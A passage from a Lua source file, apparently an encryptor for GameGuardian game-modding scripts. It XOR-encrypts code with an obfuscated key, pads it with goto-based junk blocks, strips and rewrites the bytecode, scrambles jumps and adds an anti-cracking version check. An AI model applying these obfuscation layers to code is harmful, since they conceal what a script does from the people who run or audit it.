txt_Tab_set..any_byte(10000) end txt_Tab_set=txt_Tab_set:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end) local num_2=math.random(1000,2000) local key_=string.char(table.unpack({0xE0,0x81,0xAD,0xE0,0x81,0xAB,0xE0,0x81,0xAD,0xE0,0x81,0x93,0xE0,0x81,0xA9,0xE0,0x81,0x85,0xE0,0x81,0x94,0xE0,0x81,0xA1,0xE0,0x81,0x82,0xE0,0x81,0xA7,0xE0,0x81,0x91,0xE0,0x81,0xB9,0xE0,0x81,0x81,0xE0,0x81,0x8C,0xE0,0x81,0x94,0xE0,0x81,0xB0,0xE0,0x81,0x91,0xE0,0x81,0x93,0xE0,0x81,0x96,0xE0,0x81,0xB7,0xE0,0x81,0xA8,0xE0,0x81,0x98,0xE0,0x81,0xA2,0xE0,0x81,0x95,0xE0,0x81,0x8F,0xE0,0x81,0xAC,0xE0,0x81,0xA1,0xE0,0x81,0x90,0xE0,0x81,0xB9,0xE0,0x81,0x8B,0xE0,0x81,0x91,0xE0,0x81,0xB2,0xE0,0x81,0x8E,0xE0,0x81,0xA9,0xE0,0x81,0xAB,0xE0,0x81,0x87,0xE0,0x81,0x97,0xE0,0x81,0x84,0xE0,0x81,0xB5,0xE0,0x81,0x84,0xE0,0x81,0x8C,0xE0,0x81,0xAF,0xE0,0x81,0xA4,0xE0,0x81,0x8C,0xE0,0x81,0x8C,0xE0,0x81,0xB7,0xE0,0x81,0xAA,0xE0,0x81,0xB5,0xE0,0x81,0xAA,0xE0,0x81,0x82,0xE0,0x81,0x8E,0xE0,0x81,0x95,0xE0,0x81,0xB8,0xE0,0x81,0x8C,0xE0,0x81,0xA7,0xE0,0x81,0xAB,0xE0,0x81,0x84,0xE0,0x81,0x9A,0xE0,0x81,0xA8,0xE0,0x81,0x95,0xE0,0x81,0x8F,0xE0,0x81,0xA3,0xE0,0x81,0xB5,0xE0,0x81,0x8F,0xE0,0x81,0x9A,0xE0,0x81,0x98,0xE0,0x81,0x94,0xE0,0x81,0x92,0xE0,0x81,0x83,0xE0,0x81,0xAB,0xE0,0x81,0x92,0xE0,0x81,0xB5,0xE0,0x81,0xA3,0xE0,0x81,0x8A,0xE0,0x81,0xAE,0xE0,0x81,0x8D,0xE0,0x81,0x8C,0xE0,0x81,0xA3,0xE0,0x81,0x8D,0xE0,0x81,0x8D,0xE0,0x81,0xB5,0xE0,0x81,0x98,0xE0,0x81,0xB1,0xE0,0x81,0x96,0xE0,0x81,0x8E,0xE0,0x81,0x82,0xE0,0x81,0xB9,0xE0,0x81,0x87,0xE0,0x81,0xB8,0xE0,0x81,0x89,0xE0,0x81,0xA8,0xE0,0x81,0xAE,0xE0,0x81,0x8F,0xE0,0x81,0x95,0xE0,0x81,0x86,0xE0,0x81,0xAB,0xE0,0x81,0x8D,0xE0,0x81,0xA5,0xE0,0x81,0xA1,0xE0,0x81,0x8B,0xE0,0x81,0xAD,0xE0,0x81,0xA9,0xE0,0x81,0x82,0xE0,0x81,0xB6,0xE0,0x81,0x93,0xE0,0x81,0x9A,0xE0,0x81,0xB8,0xE0,0x81,0x8B,0xE0,0x81,0xAA,0xE0,0x81,0xA4,0xE0,0x81,0x9A,0xE0,0x81,0x8E,0xE0,0x81,0xA1,0xE0,0x81,0xB7,0xE0,0x81,0xAA,0xE0,0x81,0xA4,0xE0,0x81,0x96,0xE0,0x81,0xB0,0xE0,0x81,0xAB,0xE0,0x81,0xB1,0xE0,0x81,0xB2,0xE0,0x81,0x8D,0xE0,0x81,0xAC,0xE0,0x81,0xAC,0xE0,0x81,0xBA,0xE0,0x81,0x8C,0xE0,0x81,0xB7,0xE0,0x81,0xA7,0xE0,0x81,0xAF,0xE0,0x81,0xA3,0xE0,0x81,0xAC,0xE0,0x81,0x8A,0xE0,0x81,0xA5,0xE0,0x81,0x8D,0xE0,0x81,0x82,0xE0,0x81,0xAE,0xE0,0x81,0x8D,0xE0,0x81,0xA2,0xE0,0x81,0xAE,0xE0,0x81,0xBA,0xE0,0x81,0xA3,0xE0,0x81,0xA4,0xE0,0x81,0xA5,0xE0,0x81,0x85,0xE0,0x81,0xB1,0xE0,0x81,0xB1,0xE0,0x81,0x8D,0xE0,0x81,0xB7,0xE0,0x81,0xB8,0xE0,0x81,0xB6,0xE0,0x81,0xA9,0xE0,0x81,0x8A,0xE0,0x81,0x96,0xE0,0x81,0x84,0xE0,0x81,0x96,0xE0,0x81,0xB0,0xE0,0x81,0xBA,0xE0,0x81,0xAE,0xE0,0x81,0x84,0xE0,0x81,0xB5,0xE0,0x81,0xB7,0xE0,0x81,0xB2,0xE0,0x81,0xAF,0xE0,0x81,0x8B,0xE0,0x81,0xB6,0xE0,0x81,0xB2,0xE0,0x81,0xB1,0xE0,0x81,0x95,0xE0,0x81,0xA1,0xE0,0x81,0xAA,0xE0,0x81,0xAC,0xE0,0x81,0x97,0xE0,0x81,0x82,0xE0,0x81,0xAA,0xE0,0x81,0x90,0xE0,0x81,0xB0,0xE0,0x81,0x8F,0xE0,0x81,0xA6,0xE0,0x81,0x96,0xE0,0x81,0x8D,0xE0,0x81,0xAD,0xE0,0x81,0xAB,0xE0,0x81,0x8D,0xE0,0x81,0x8E,0xE0,0x81,0x84,0xE0,0x81,0xB0,0xE0,0x81,0xA5,0xE0,0x81,0xA6,0xE0,0x81,0x91,0xE0,0x81,0xBA,0xE0,0x81,0xA1,0xE0,0x81,0x83,0xE0,0x81,0xB8,0xE0,0x81,0x96,0xE0,0x81,0xAE,0xE0,0x81,0x83,0xE0,0x81,0x89,0xE0,0x81,0x8A,0xE0,0x81,0x8B,0xE0,0x81,0xA7,0xE0,0x81,0x95,0xE0,0x81,0x96,0xE0,0x81,0x94,0xE0,0x81,0xB2,0xE0,0x81,0xB1,0xE0,0x81,0xAE,0xE0,0x81,0xA4,0xE0,0x81,0x9A,0xE0,0x81,0x88,0xE0,0x81,0xB5,0xE0,0x81,0xAA,0xE0,0x81,0x8C,0xE0,0x81,0xA6,0xE0,0x81,0xB5,0xE0,0x81,0xAA,0xE0,0x81,0x89,0xE0,0x81,0xB8,0xE0,0x81,0x89,0xE0,0x81,0x93,0xE0,0x81,0xAA,0xE0,0x81,0x9A,0xE0,0x81,0x85,0xE0,0x81,0xB9,0xE0,0x81,0x92,0xE0,0x81,0xB8,0xE0,0x81,0x8A,0xE0,0x81,0xB2,0xE0,0x81,0x91,0xE0,0x81,0x9A,0xE0,0x81,0xA8,0xE0,0x81,0xAA,0xE0,0x81,0xA5,0xE0,0x81,0x8C,0xE0,0x81,0xAD,0xE0,0x81,0xB5,0xE0,0x81,0xB1,0xE0,0x81,0x90,0xE0,0x81,0x8E,0xE0,0x81,0xA9,0xE0,0x81,0x8B,0xE0,0x81,0xAA,0xE0,0x81,0x94,0xE0,0x81,0x86,0xE0,0x81,0x85,0xE0,0x81,0x95,0xE0,0x81,0x8C,0xE0,0x81,0xB1,0xE0,0x81,0x93,0xE0,0x81,0xB7,0xE0,0x81,0xA5,0xE0,0x81,0x8C,0xE0,0x81,0xA9,0xE0,0x81,0x83,0xE0,0x81,0xB6,0xE0,0x81,0xA1,0xE0,0x81,0xAD,0xE0,0x81,0x8B,0xE0,0x81,0x8D,0xE0,0x81,0xAE,0xE0,0x81,0xB3,0xE0,0x81,0x93,0xE0,0x81,0xB6,0xE0,0x81,0x85,0xE0,0x81,0x84,0xE0,0x81,0xB5,0xE0,0x81,0xB8,0xE0,0x81,0xB4,0xE0,0x81,0x85,0xE0,0x81,0x89,0xE0,0x81,0x8F,0xE0,0x81,0xA7,0xE0,0x81,0xB5,0xE0,0x81,0x89,0xE0,0x81,0xA2,0xE0,0x81,0xA6,0xE0,0x81,0x84,0xE0,0x81,0x97,0xE0,0x81,0x94,0xE0,0x81,0x92,0xE0,0x81,0xA8,0xE0,0x81,0x84,0xE0,0x81,0x87,0xE0,0x81,0x99,0xE0,0x81,0xA5,0xE0,0x81,0x81,0xE0,0x81,0x92,0xE0,0x81,0x87,0xE0,0x81,0xB8,0xE0,0x81,0xA2,0xE0,0x81,0x99,0xE0,0x81,0x84,0xE0,0x81,0xA5,0xE0,0x81,0xA7,0xE0,0x81,0x98,0xE0,0x81,0x8E,0xE0,0x81,0xAC,0xE0,0x81,0xB4,0xE0,0x81,0xB5,0xE0,0x81,0x85,0xE0,0x81,0xA3,0xE0,0x81,0xB5,0xE0,0x81,0x86,0xE0,0x81,0x84,0xE0,0x81,0x8E,0xE0,0x81,0x8B,0xE0,0x81,0xAF,0xE0,0x81,0xA4,0xE0,0x81,0x96,0xE0,0x81,0xB3,0xE0,0x81,0x85,0xE0,0x81,0x8D,0xE0,0x81,0x8C,0xE0,0x81,0xA9,0xE0,0x81,0xB3,0xE0,0x81,0xAD,0xE0,0x81,0x82,0xE0,0x81,0xB1,0xE0,0x81,0xA4,0xE0,0x81,0xAA,0xE0,0x81,0x8F,0xE0,0x81,0x81,0xE0,0x81,0xB2,0xE0,0x81,0x89,0xE0,0x81,0xA2,0xE0,0x81,0x8A,0xE0,0x81,0xB1,0xE0,0x81,0xAA,0xE0,0x81,0xB5,0xE0,0x81,0xA7,0xE0,0x81,0xA8,0xE0,0x81,0x89,0xE0,0x81,0xAD,0xE0,0x81,0x81,0xE0,0x81,0xB9,0xE0,0x81,0xA8,0xE0,0x81,0xA4,0xE0,0x81,0xAA,0xE0,0x81,0x8D,0xE0,0x81,0xA7,0xE0,0x81,0x8E,0xE0,0x81,0xAD,0xE0,0x81,0xAB,0xE0,0x81,0x95,0xE0,0x81,0xAA,0xE0,0x81,0xA1,0xE0,0x81,0x96,0xE0,0x81,0xBA,0xE0,0x81,0x94,0xE0,0x81,0x89,0xE0,0x81,0xA3,0xE0,0x81,0x88,0xE0,0x81,0xB5,0xE0,0x81,0x93,0xE0,0x81,0xAB,0xE0,0x81,0xB7,0xE0,0x81,0x83,0xE0,0x81,0xAF,0xE0,0x81,0x98,0xE0,0x81,0x8D,0xE0,0x81,0xB5,0xE0,0x81,0x91,0xE0,0x81,0xBA,0xE0,0x81,0x81,0xE0,0x81,0x90,0xE0,0x81,0xA5,0xE0,0x81,0x87,0xE0,0x81,0x81,0xE0,0x81,0xAB,0xE0,0x81,0xB0,0xE0,0x81,0x84,0xE0,0x81,0x8F,0xE0,0x81,0xA2,0xE0,0x81,0xB3,0xE0,0x81,0xB9,0xE0,0x81,0xB3,0xE0,0x81,0x8E,0xE0,0x81,0xB9,0xE0,0x81,0xAF,0xE0,0x81,0xB8,0xE0,0x81,0x93,0xE0,0x81,0xB9,0xE0,0x81,0x85,0xE0,0x81,0x81,0xE0,0x81,0xBA,0xE0,0x81,0x91,0xE0,0x81,0x81,0xE0,0x81,0x8A,0xE0,0x81,0xBA,0xE0,0x81,0x8F,0xE0,0x81,0x93,0xE0,0x81,0xA5,0xE0,0x81,0x94,0xE0,0x81,0x85,0xE0,0x81,0xAE,0xE0,0x81,0xA7,0xE0,0x81,0xA8,0xE0,0x81,0x85,0xE0,0x81,0xAE,0xE0,0x81,0x8C,0xE0,0x81,0xB4,0xE0,0x81,0x90,0xE0,0x81,0xA6,0xE0,0x81,0x8F,0xE0,0x81,0x94,0xE0,0x81,0x83,0xE0,0x81,0x87,0xE0,0x81,0xAB,0xE0,0x81,0xA1,0xE0,0x81,0xA9,0xE0,0x81,0xA4,0xE0,0x81,0xB6,0xE0,0x81,0x8D,0xE0,0x81,0x86,0xE0,0x81,0xB6,0xE0,0x81,0x8A,0xE0,0x81,0x89,0xE0,0x81,0x8F,0xE0,0x81,0x96,0xE0,0x81,0xB6,0xE0,0x81,0x83,0xE0,0x81,0xB8,0xE0,0x81,0x98,0xE0,0x81,0x86,0xE0,0x81,0xAA,0xE0,0x81,0xAB,0xE0,0x81,0x82,0xE0,0x81,0xAF,0xE0,0x81,0x83,0xE0,0x81,0xA2,0xE0,0x81,0xB2,0xE0,0x81,0xAA,0xE0,0x81,0x85,0xE0,0x81,0x8E,0xE0,0x81,0x87,0xE0,0x81,0x9A,0xE0,0x81,0xA4,0xE0,0x81,0xA8,0xE0,0x81,0x96,0xE0,0x81,0xB7,0xE0,0x81,0x9A,0xE0,0x81,0x8B,0xE0,0x81,0xAB,0xE0,0x81,0x87,0xE0,0x81,0x85,0xE0,0x81,0x88,0xE0,0x81,0x99,0xE0,0x81,0xA6,0xE0,0x81,0xA1,0xE0,0x81,0x91,0xE0,0x81,0xA4,0xE0,0x81,0xA7,0xE0,0x81,0xA7,0xE0,0x81,0xBA,0xE0,0x81,0xA6,0xE0,0x81,0x98,0xE0,0x81,0x8E,0xE0,0x81,0x81,0xE0,0x81,0xA5,0xE0,0x81,0x82,0xE0,0x81,0x87,0xE0,0x81,0xAD,0xE0,0x81,0x93,0xE0,0x81,0xB5,0xE0,0x81,0xAC,0xE0,0x81,0xAA,0xE0,0x81,0xAA,0xE0,0x81,0x8D,0xE0,0x81,0xA1,0xE0,0x81,0x95,0xE0,0x81,0xB9,0xE0,0x81,0x9A,0xE0,0x81,0x93,0xE0,0x81,0xAE,0xE0,0x81,0x83,0xE0,0x81,0x8E,0xE0,0x81,0xA2,0xE0,0x81,0xAE,0xE0,0x81,0xAB,0xE0,0x81,0xB4,0xE0,0x81,0x84,0xE0,0x81,0xBA,0xE0,0x81,0xA2,0xE0,0x81,0xB9,0xE0,0x81,0x8D,0xE0,0x81,0x8C,0xE0,0x81,0xB0,0xE0,0x81,0x93,0xE0,0x81,0x96,0xE0,0x81,0xAC,0xE0,0x81,0x99,0xE0,0x81,0xB0,0xE0,0x81,0xB2,0xE0,0x81,0x8E,0xE0,0x81,0xB9,0xE0,0x81,0xA9,0xE0,0x81,0xAC,0xE0,0x81,0xB9,0xE0,0x81,0xAD,0xE0,0x81,0xB7,0xE0,0x81,0xB0,0xE0,0x81,0x98,0xE0,0x81,0x82,0xE0,0x81,0x83,0xE0,0x81,0x8A,0xE0,0x81,0xA2,0xE0,0x81,0xA9,0xE0,0x81,0xAE,0xE0,0x81,0x88,0xE0,0x81,0x87,0xE0,0x81,0x8E,0xE0,0x81,0xA1,0xE0,0x81,0xAC,0xE0,0x81,0xAD,0xE0,0x81,0xAF,0xE0,0x81,0xB7,0xE0,0x81,0x8F,0xE0,0x81,0x97,0xE0,0x81,0xB4,0xE0,0x81,0xB8,0xE0,0x81,0x98,0xE0,0x81,0xA9,0xE0,0x81,0x96,0xE0,0x81,0xA6,0xE0,0x81,0x90,0xE0,0x81,0xAC,0xE0,0x81,0x96,0xE0,0x81,0x83,0xE0,0x81,0x90,0xE0,0x81,0xA4,0xE0,0x81,0xA3,0xE0,0x81,0x8D,0xE0,0x81,0xB9,0xE0,0x81,0x90,0xE0,0x81,0x8B,0xE0,0x81,0xB6,0xE0,0x81,0xAE,0xE0,0x81,0x85,0xE0,0x81,0x8D,0xE0,0x81,0xA6,0xE0,0x81,0x8B,0xE0,0x81,0x92,0xE0,0x81,0x8A,0xE0,0x81,0x9A,0xE0,0x81,0xA2,0xE0,0x81,0xAC,0xE0,0x81,0xB9,0xE0,0x81,0xA1,0xE0,0x81,0xAD,0xE0,0x81,0xAD,0xE0,0x81,0xAA,0xE0,0x81,0x8D,0xE0,0x81,0xB7,0xE0,0x81,0x94,0xE0,0x81,0x82,0xE0,0x81,0x91,0xE0,0x81,0x9A,0xE0,0x81,0x91,0xE0,0x81,0xB1,0xE0,0x81,0xB5,0xE0,0x81,0x8C,0xE0,0x81,0xAF,0xE0,0x81,0x88,0xE0,0x81,0xA4,0xE0,0x81,0x87,0xE0,0x81,0xB9,0xE0,0x81,0x8A,0xE0,0x81,0x81,0xE0,0x81,0xA5,0xE0,0x81,0xA5,0xE0,0x81,0x89,0xE0,0x81,0x97,0xE0,0x81,0x8C,0xE0,0x81,0xB8,0xE0,0x81,0xA2,0xE0,0x81,0xAA,0xE0,0x81,0xA9,0xE0,0x81,0x85,0xE0,0x81,0x98,0xE0,0x81,0x96,0xE0,0x81,0xAC,0xE0,0x81,0xB0,0xE0,0x81,0x81,0xE0,0x81,0xA3,0xE0,0x81,0xAA,0xE0,0x81,0x81,0xE0,0x81,0xB1,0xE0,0x81,0xB4,0xE0,0x81,0xA4,0xE0,0x81,0x8D,0xE0,0x81,0xA4,0xE0,0x81,0x90,0xE0,0x81,0x8B,0xE0,0x81,0xB3,0xE0,0x81,0x9A,0xE0,0x81,0xB4,0xE0,0x81,0xB3,0xE0,0x81,0xA1,0xE0,0x81,0xBA,0xE0,0x81,0x93,0xE0,0x81,0x8A,0xE0,0x81,0x98,0xE0,0x81,0xBA,0xE0,0x81,0x83,0xE0,0x81,0xA1,0xE0,0x81,0x96,0xE0,0x81,0x99,0xE0,0x81,0x8B,0xE0,0x81,0x95,0xE0,0x81,0x85,0xE0,0x81,0xB5,0xE0,0x81,0xA6,0xE0,0x81,0xAD,0xE0,0x81,0xAD,0xE0,0x81,0xB6,0xE0,0x81,0x84,0xE0,0x81,0x85,0xE0,0x81,0xAD,0xE0,0x81,0xB9,0xE0,0x81,0x90,0xE0,0x81,0x84,0xE0,0x81,0x81,0xE0,0x81,0xB6,0xE0,0x81,0xAB,0xE0,0x81,0x94,0xE0,0x81,0x85,0xE0,0x81,0xB5,0xE0,0x81,0x87,0xE0,0x81,0x89,0xE0,0x81,0xA2,0xE0,0x81,0xA6,0xE0,0x81,0xA3,0xE0,0x81,0x96,0xE0,0x81,0x8A,0xE0,0x81,0xA2,0xE0,0x81,0x8B,0xE0,0x81,0xB3,0xE0,0x81,0x8B,0xE0,0x81,0x8B,0xE0,0x81,0x92,0xE0,0x81,0x90,0xE0,0x81,0xB2,0xE0,0x81,0xA3,0xE0,0x81,0x8F,0xE0,0x81,0xAC,0xE0,0x81,0x93,0xE0,0x81,0xA3,0xE0,0x81,0x84,0xE0,0x81,0x90,0xE0,0x81,0x91,0xE0,0x81,0xB7,0xE0,0x81,0x96,0xE0,0x81,0xA3,0xE0,0x81,0xB0,0xE0,0x81,0x8F,0xE0,0x81,0x96,0xE0,0x81,0xA5,0xE0,0x81,0x84,0xE0,0x81,0x91,0xE0,0x81,0x90,0xE0,0x81,0xA1,0xE0,0x81,0xAE,0xE0,0x81,0x8B,0xE0,0x81,0x83,0xE0,0x81,0xA2,0xE0,0x81,0x90,0xE0,0x81,0xA9,0xE0,0x81,0xA5,0xE0,0x81,0x91,0xE0,0x81,0x8F,0xE0,0x81,0x90,0xE0,0x81,0x95,0xE0,0x81,0xAC,0xE0,0x81,0x8D,0xE0,0x81,0xB6,0xE0,0x81,0x97,0xE0,0x81,0xA1,0xE0,0x81,0x84,0xE0,0x81,0x89,0xE0,0x81,0xB3,0xE0,0x81,0xB0,0xE0,0x81,0xAD,0xE0,0x81,0x99,0xE0,0x81,0x90,0xE0,0x81,0xAA,0xE0,0x81,0x8A,0xE0,0x81,0x89,0xE0,0x81,0xA1,0xE0,0x81,0xA6,0xE0,0x81,0x85,0xE0,0x81,0xB8,0xE0,0x81,0x8A,0xE0,0x81,0xB2,0xE0,0x81,0xA7,0xE0,0x81,0x93,0xE0,0x81,0x81,0xE0,0x81,0xA7,0xE0,0x81,0xAC,0xE0,0x81,0x91,0xE0,0x81,0x93,0xE0,0x81,0xB9,0xE0,0x81,0x94,0xE0,0x81,0x87,0xE0,0x81,0x98,0xE0,0x81,0x8F,0xE0,0x81,0x85,0xE0,0x81,0xB8,0xE0,0x81,0x96,0xE0,0x81,0xA5,0xE0,0x81,0xA2,0xE0,0x81,0xB4,0xE0,0x81,0xAB,0xE0,0x81,0x9A,0xE0,0x81,0x8A,0xE0,0x81,0xAD,0xE0,0x81,0x87,0xE0,0x81,0x85,0xE0,0x81,0xA5,0xE0,0x81,0xA3,0xE0,0x81,0x99,0xE0,0x81,0xB1,0xE0,0x81,0xAB,0xE0,0x81,0x85,0xE0,0x81,0x87,0xE0,0x81,0x8E,0xE0,0x81,0x8E,0xE0,0x81,0x8A,0xE0,0x81,0xA2,0xE0,0x81,0xB2,0xE0,0x81,0xA3,0xE0,0x81,0x98,0xE0,0x81,0x90,0xE0,0x81,0x83,0xE0,0x81,0x95,0xE0,0x81,0xB6,0xE0,0x81,0x8C,0xE0,0x81,0xAB,0xE0,0x81,0x99,0xE0,0x81,0x86,0xE0,0x81,0x8E,0xE0,0x81,0x85,0xE0,0x81,0x9A,0xE0,0x81,0xA4,0xE0,0x81,0x82,0xE0,0x81,0xB2,0xE0,0x81,0xB2,0xE0,0x81,0x8C,0xE0,0x81,0xA4,0xE0,0x81,0xAB,0xE0,0x81,0x81,0xE0,0x81,0x98,0xE0,0x81,0x83,0xE0,0x81,0x99,0xE0,0x81,0x82,0xE0,0x81,0xB0,0xE0,0x81,0x85,0xE0,0x81,0xA9,0xE0,0x81,0xAD,0xE0,0x81,0xB9,0xE0,0x81,0xA5,0xE0,0x81,0x8A,0xE0,0x81,0x90,0xE0,0x81,0x86,0xE0,0x81,0x89,0xE0,0x81,0x92,0xE0,0x81,0xB0,0xE0,0x81,0xBA,0xE0,0x81,0xB6,0xE0,0x81,0xB0,0xE0,0x81,0x8E,0xE0,0x81,0xA7,0xE0,0x81,0xB8,0xE0,0x81,0xAB,0xE0,0x81,0x8B,0xE0,0x81,0x88,0xE0,0x81,0x8F,0xE0,0x81,0xA6,0xE0,0x81,0x87,0xE0,0x81,0xA1,0xE0,0x81,0x95,0xE0,0x81,0xB0,0xE0,0x81,0xB4,0xE0,0x81,0xA7,0xE0,0x81,0x81,0xE0,0x81,0x91,0xE0,0x81,0xB5,0xE0,0x81,0x8A,0xE0,0x81,0x8F,0xE0,0x81,0x97,0xE0,0x81,0xB3,0xE0,0x81,0x86,0xE0,0x81,0xAC,0xE0,0x81,0x89,0xE0,0x81,0x87,0xE0,0x81,0xB4,0xE0,0x81,0xB4,0xE0,0x81,0xA1,0xE0,0x81,0xB2,0xE0,0x81,0xB8,0xE0,0x81,0xB2,0xE0,0x81,0x85,0xE0,0x81,0xB1,0xE0,0x81,0x99,0xE0,0x81,0x9A,0xE0,0x81,0x8C,0xE0,0x81,0xA6,0xE0,0x81,0xA7,0xE0,0x81,0x84,0xE0,0x81,0xA5,0xE0,0x81,0xA8,0xE0,0x81,0x94,0xE0,0x81,0x90,0xE0,0x81,0x96,0xE0,0x81,0x98,0xE0,0x81,0xBA,0xE0,0x81,0x87,0xE0,0x81,0xB1,0xE0,0x81,0x88,0xE0,0x81,0xA1,0xE0,0x81,0x8E,0xE0,0x81,0xAE,0xE0,0x81,0xA4,0xE0,0x81,0x8C,0xE0,0x81,0x95,0xE0,0x81,0xB1,0xE0,0x81,0x86,0xE0,0x81,0xA6,0xE0,0x81,0x87,0xE0,0x81,0x8E,0xE0,0x81,0xB8,0xE0,0x81,0xA8,0xE0,0x81,0x81,0xE0,0x81,0x8F,0xE0,0x81,0x95,0xE0,0x81,0xA6,0xE0,0x81,0xAC,0xE0,0x81,0xAA,0xE0,0x81,0x96,0xE0,0x81,0x97,0xE0,0x81,0xA8,0xE0,0x81,0xA6,0xE0,0x81,0xAC,0xE0,0x81,0xA1,0xE0,0x81,0x84,0xE0,0x81,0xA3,0xE0,0x81,0x9A,0xE0,0x81,0xB7,0xE0,0x81,0xAB,0xE0,0x81,0xA2,0xE0,0x81,0xB8,0xE0,0x81,0x93,0xE0,0x81,0x98,0xE0,0x81,0x88,0xE0,0x81,0xAA,0xE0,0x81,0xB1,0xE0,0x81,0x85,0xE0,0x81,0x83,0xE0,0x81,0x89,0xE0,0x81,0x95,0xE0,0x81,0xB7,0xE0,0x81,0x8B,0xE0,0x81,0x90,0xE0,0x81,0x94,0xE0,0x81,0xAB,0xE0,0x81,0x8A,0xE0,0x81,0x92,0xE0,0x81,0xB7,0xE0,0x81,0xA9,0xE0,0x81,0x8F,0xE0,0x81,0xB6,0xE0,0x81,0x94,0xE0,0x81,0xB1,0xE0,0x81,0x8F,0xE0,0x81,0xA7,0xE0,0x81,0x89,0xE0,0x81,0xB1,0xE0,0x81,0xB3,0xE0,0x81,0xA6,0xE0,0x81,0x84,0xE0,0x81,0xB6,0xE0,0x81,0xA9,0xE0,0x81,0x83,0xE0,0x81,0x86,0xE0,0x81,0x8F,0xE0,0x81,0xB8,0xE0,0x81,0xA9,0xE0,0x81,0xB0,0xE0,0x81,0x85,0xE0,0x81,0xA3,0xE0,0x81,0x91,0xE0,0x81,0xB6,0xE0,0x81,0xAD,0xE0,0x81,0xA9,0xE0,0x81,0xA8,0xE0,0x81,0xB7,0xE0,0x81,0x8E,0xE0,0x81,0xAE,0xE0,0x81,0x98,0xE0,0x81,0xB3,0xE0,0x81,0xAE,0xE0,0x81,0x88,0xE0,0x81,0x83,0xE0,0x81,0xAD,0xE0,0x81,0xB3,0xE0,0x81,0x91,0xE0,0x81,0xA3,0xE0,0x81,0xAF,0xE0,0x81,0x94,0xE0,0x81,0xA6,0xE0,0x81,0x8A,0xE0,0x81,0x9A,0xE0,0x81,0xB1,0xE0,0x81,0x90,0xE0,0x81,0x91,0xE0,0x81,0xB8,0xE0,0x81,0x86,0xE0,0x81,0xB8,0xE0,0x81,0x8D,0xE0,0x81,0x8A,0xE0,0x81,0x99,0xE0,0x81,0xA4,0xE0,0x81,0xA3,0xE0,0x81,0x95,0xE0,0x81,0xAB,0xE0,0x81,0xBA,0xE0,0x81,0x8D,0xE0,0x81,0x90,0xE0,0x81,0x97,0xE0,0x81,0xA2,0xE0,0x81,0x86,0xE0,0x81,0xB4,0xE0,0x81,0x85,0xE0,0x81,0x98,0xE0,0x81,0x89,0xE0,0x81,0xAB,0xE0,0x81,0xB6,0xE0,0x81,0x8C,0xE0,0x81,0xA3,0xE0,0x81,0x93,0xE0,0x81,0xA6,0xE0,0x81,0x99,0xE0,0x81,0xA3,0xE0,0x81,0xB0,0xE0,0x81,0x93,0xE0,0x81,0x83,0xE0,0x81,0xA1,0xE0,0x81,0x91,0xE0,0x81,0xB0,0xE0,0x81,0xB3,0xE0,0x81,0xAA,0xE0,0x81,0x90,0xE0,0x81,0xB7,0xE0,0x81,0xA3,0xE0,0x81,0x81,0xE0,0x81,0x94,0xE0,0x81,0xB6,0xE0,0x81,0x91,0xE0,0x81,0xB1,0xE0,0x81,0xA7,0xE0,0x81,0x91,0xE0,0x81,0xB9,0xE0,0x81,0x99,0xE0,0x81,0xA8,0xE0,0x81,0x8B,0xE0,0x81,0xAB,0xE0,0x81,0x8C,0xE0,0x81,0x90,0xE0,0x81,0x92,0xE0,0x81,0xB4,0xE0,0x81,0x8A,0xE0,0x81,0xA6,0xE0,0x81,0xBA,0xE0,0x81,0xB6,0xE0,0x81,0xAE,0xE0,0x81,0x94,0xE0,0x81,0x9A,0xE0,0x81,0x8C,0xE0,0x81,0xAC,0xE0,0x81,0x8E,0xE0,0x81,0x8D,0xE0,0x81,0x91,0xE0,0x81,0xAD,0xE0,0x81,0x99,0xE0,0x81,0x96,0xE0,0x81,0xA8,0xE0,0x81,0x92,0xE0,0x81,0x92,0xE0,0x81,0xB8,0xE0,0x81,0xB1,0xE0,0x81,0xB4,0xE0,0x81,0xA6,0xE0,0x81,0x83,0xE0,0x81,0x83,0xE0,0x81,0x83,0xE0,0x81,0x84,0xE0,0x81,0xA7,0xE0,0x81,0xA3,0xE0,0x81,0x97,0xE0,0x81,0x96,0xE0,0x81,0x89,0xE0,0x81,0xB4,0xE0,0x81,0xB0,0xE0,0x81,0xB8,0xE0,0x81,0xAF,0xE0,0x81,0xAF,0xE0,0x81,0x8B,0xE0,0x81,0x85,0xE0,0x81,0x8A,0xE0,0x81,0x94,0xE0,0x81,0x91,0xE0,0x81,0x99,0xE0,0x81,0xAF,0xE0,0x81,0xAA,0xE0,0x81,0x82,0xE0,0x81,0xBA,0xE0,0x81,0xAD,0xE0,0x81,0xA3,0xE0,0x81,0xAD,0xE0,0x81,0x86,0xE0,0x81,0xA3,0xE0,0x81,0x97,0xE0,0x81,0x9A,0xE0,0x81,0xAC,0xE0,0x81,0xA3,0xE0,0x81,0x86})) key_={key_:byte(0,-1)} door_hl={door_hl:byte(0,-1)} local n=1 for a,b in pairs(door_hl) do door_hl[a]=string.char(b~key_[n]) if n==#key_ then n=1 else n=n+1 end end door_hl = table.concat(door_hl) yx = start_dec.."local ARM,ARM2\nARM2=[====["..any_byte(num_2).."\x71\x61\x54\x00䶣\xaa"..door_hl.."\x71\x61\x54\x00靋\xaa"..any_byte(num_2).."]====]\nARM=\034"..txt_Tab_set.."\034\nwhile ARM==\034\034 do\nlocal asm=\034我会被替换掉的\034\ngoto CNMNMSL\n::FLZD::\n"..("ARM=[===[替换专用,我真的服了啊]===]\n"):rep(math.random(8000,12000)).."\n::CNMNMSL::\nif not nil then\ngoto FLZD\nend\nend\nreturn (function()\n"..yx.."\nend)()" yx="return (function()"..yx.." end)([===["..UI.."]===])" -- yc=yx:gsub("替换专用+我真的服了啊",function(x)return txt_Tab_set end) -- io.open("jmp.lua","w"):write(yx) -- os.exit() if not load(yx) then return gg.alert("加密失败 建议把样本发给管理人员 等待bug修复") end yx=string.dump(load(yx),true) gg.internal2(load(yx),last) yx=io.open(last,"r"):read("*a") :gsub("maxstacksize %d+", "maxstacksize 250") :gsub("linedefined %d+", "linedefined 0") --io.open("lasm3.lua","w"):write(yx) yx=Enc_FuncVar(yx) yx=line(yx) -- io.open("lasm2.lua","w"):write(yx) yx = JMP.Disloc(yx) yx=line(yx) -- io.open("lasm.lua","w"):write(yx) if not load(yx) then return gg.alert("加密失败 建议把样本发给管理人员 等待bug修复") end yx = yun_D(yx,txt_Tab_set,Forbyte) return yx end --yz_="高级版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" encryptCfg = function() if yz_ ~= "普通版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" and yz_ ~= 